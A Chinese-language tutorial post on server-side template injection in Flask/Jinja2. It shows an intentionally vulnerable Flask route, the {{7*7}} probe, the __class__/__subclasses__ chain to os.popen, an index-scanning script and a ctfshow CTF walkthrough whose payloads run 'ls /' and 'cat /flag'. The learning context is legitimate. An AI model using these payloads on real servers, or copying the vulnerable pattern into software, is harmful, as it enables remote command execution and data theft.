SSTI模板注入漏洞讲解

SSTI模板注入

SSTI的概念

SSTI(Server-Side Template Injection)从名字可以看出即是服务器端模板注入。比如python的flask、php的thinkphp、java的spring等框架一般都采用MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。
本文章只研究以python语言为主的SSTI。

SSTI漏洞原理

什么是模板

模板可以被认为是一段固定好格式,等着开发人员或者用户来填充信息的文件。通过这种方法,可以做到逻辑与视图分离,更容易、清楚且相对安全地编写前后端不同的逻辑。

模板引擎

模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。

模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。

漏洞原理

服务端接收了攻击者的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了攻击者插入的可以破坏模板的语句,从而达到攻击者的目的。

以下面一段python代码为例:

from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)


@app.route("/test")
def index():
    name = request.args.get('name')
    t = Template("Hello " + name)
    return t.render()


if __name__ == "__main__":
    app.run()

SSTI模板注入漏洞讲解_第1张图片
可以看到服务端的逻辑是接收前端输入的name参数,然后将其在后端拼接成"hello "+name的形式再返回给前端展示。可以看到当我们输入参数name=world的时候,前端展示出hello world的页面。

但是当我们输入name={ {7*7}}的时候,页面展示的却不是hello { {7*7}}而是hello 49。
SSTI模板注入漏洞讲解_第2张图片
这是因为在模板中{ {}}在模板中的作用是用来将表达式打印到模板输出。常见的还有{%…%}和{#…#}。

{% ... %} 用来声明变量或控制结构
{{ ... }} 用来将表达式打印到模板输出
{# ... #} 表示未包含在模板输出中的注释

在模板注入中,我们常用的是{{}} 和 {%%}

检测是否存在模板注入

检测是否存在SSTI模板注入的方法就是在参数添加或者url后面添加{ {7*7}},如果页面返回了7*7的结果49,即可证明存在模板注入漏洞。

一般的注入流程

在检测到存在SSTI模板注入漏洞之后->获得内置类所对应的类->获得object基类->获得所有子类->获得可以执行shell命令的子类->找到该子类可以执行shell命令的方法->执行shell命令

1、获得内置类对应的类

''.__class__
().__class__
[].__class__
"".__class__

__class__可以获得内置类所对应的类

SSTI模板注入漏洞讲解_第3张图片

2、获得object基类

''__class__.__base__
().__class__.__base__
[].__class__.__base__
"".__class__.__base__

''.__class__.__mro__[1]
().__class__.__mro__[1]
[].__class__.__mro__[1]
"".__class__.__mro__[1]

__base__获得最高的父类
__mro__获得所有的父类

SSTI模板注入漏洞讲解_第4张图片

3、获得所有子类

''__class__.__base__.__subclasses__()
().__class__.__base__.__subclasses__()
[].__class__.__base__.__subclasses__()
"".__class__.__base__.__subclasses__()

''.__class__.__mro__[1].__subclasses__()
().__class__.__mro__[1].__subclasses__()
[].__class__.__mro__[1].__subclasses__()
"".__class__.__mro__[1].__subclasses__()

__subclasses__()获得所有的子类

SSTI模板注入漏洞讲解_第5张图片

4、获得可以执行shell命令的子类

我们一般常用的是os._wrap_close子类,因为该类具有popen方法,该方法可以执行系统命令。
我们可以通过下面这段代码找到还有popen方法的子类:

num = 0
for item in ''.__class__.__base__.__subclasses__():
    try:
        if 'popen' in item.__init__.__globals__:
            print(num, item)
        num += 1
    except:
        num += 1

# __init__.__globals__可以获得类中的所有变量和方法

SSTI模板注入漏洞讲解_第6张图片
可以看到该子类的索引值为118。
注意根据python版本的不同或者flask、jinjia2的版本不同,子类的索引值也可能会随之不同!!!

5、找到该子类可以执行shell命令的方法

''.__class__.__base__.__subclasses__()[118].__init__.__globals__['popen']

__init__.__globals__可以获得类中所有的变量以及方法

SSTI模板注入漏洞讲解_第7张图片

6、执行shell命令

我们执行一下whoami的命令,这里一定要记得用.read()来读取一下,因为popen方法返回的是一个file对象。

''.__class__.__base__.__subclasses__()[118].__init__.__globals__['popen']('whoami').read()

在这里插入图片描述

这就是我们利用SSTI漏洞的一个基本流程。

例题展示-ctfshow web入门361

SSTI模板注入漏洞讲解_第8张图片
点击题目链接。
SSTI模板注入漏洞讲解_第9张图片

1、判断是否存在SSTI模板注入漏洞

由题目提示,“名字就是考点”,可以猜测,改题目url的参数名应为name,输入name=world测试一下。
SSTI模板注入漏洞讲解_第10张图片
可以看到world被输出。
接下我们开始测试该站是否存在SSTI漏洞。
我们输入name={ {7*7}}看页面是否输出49?
SSTI模板注入漏洞讲解_第11张图片
可以看到页面输出了49,代表存在SSTI模板注入漏洞。

2、获得内置类所对应的类

http://b399c8cc-0063-4b49-af67-6b94985ed078.challenge.ctf.show/?name={{''.__class__}}

SSTI模板注入漏洞讲解_第12张图片

3、获得object基类

http://b399c8cc-0063-4b49-af67-6b94985ed078.challenge.ctf.show/?name={{''.__class__.__base__}}

SSTI模板注入漏洞讲解_第13张图片

4、获得所有子类

http://b399c8cc-0063-4b49-af67-6b94985ed078.challenge.ctf.show/?name={{''.__class__.__base__.__subclasses__()}}

SSTI模板注入漏洞讲解_第14张图片

5、获得可以执行shell命令的子类

由于该网站的python版本以及模板引擎的版本可能与我们本地测试的版本不一样,所以我们不能使用本地测试所得到可以执行shell命令子类的索引值。

这样我们可以通过一段python脚本来判断可以执行shell命令子类的索引值。

我们以子类是否存在popen方法为例:
脚本使用requests模块请求页面,从页面的源代码观察是否含有’popen’。

import requests

for num in range(500):
    try:
        url = "http://b399c8cc-0063-4b49-af67-6b94985ed078.challenge.ctf.show/?name={{''.__class__.__base__.__subclasses__()["+str(num)+"].__init__.__globals__['popen']}}"
        res = requests.get(url=url).text
        if 'popen' in res:
            print(num)
    except:
        pass

SSTI模板注入漏洞讲解_第15张图片
成功找到索引值。

6、执行shell命令

http://b399c8cc-0063-4b49-af67-6b94985ed078.challenge.ctf.show/?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls /').read()}}

SSTI模板注入漏洞讲解_第16张图片
执行命令成功,成功列出根目录内容。
接下来就是获取flag了。

http://b399c8cc-0063-4b49-af67-6b94985ed078.challenge.ctf.show/?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

SSTI模板注入漏洞讲解_第17张图片
成功拿到flag值。

总结

SSTI模板注入漏洞就是服务端没有对用户输入的内容进行过滤,导致服务器没有对输入的内容尽进行任何处理就将其作为Web应用模板内容的一部分,使得模板引擎在进行编译渲染的过程中,执行了用户插入的破坏模板的语句。

我们一般的攻击方式就是想办法获得object的所有子类,因为子类中包含有可以执行命令或文件读取的方法,我们获得这些方法就可以对目标服务器进行攻击。

类似文章:https://www.cnblogs.com/bmjoker/p/13508538.html

你可能感兴趣的:(web安全,flask,python,后端)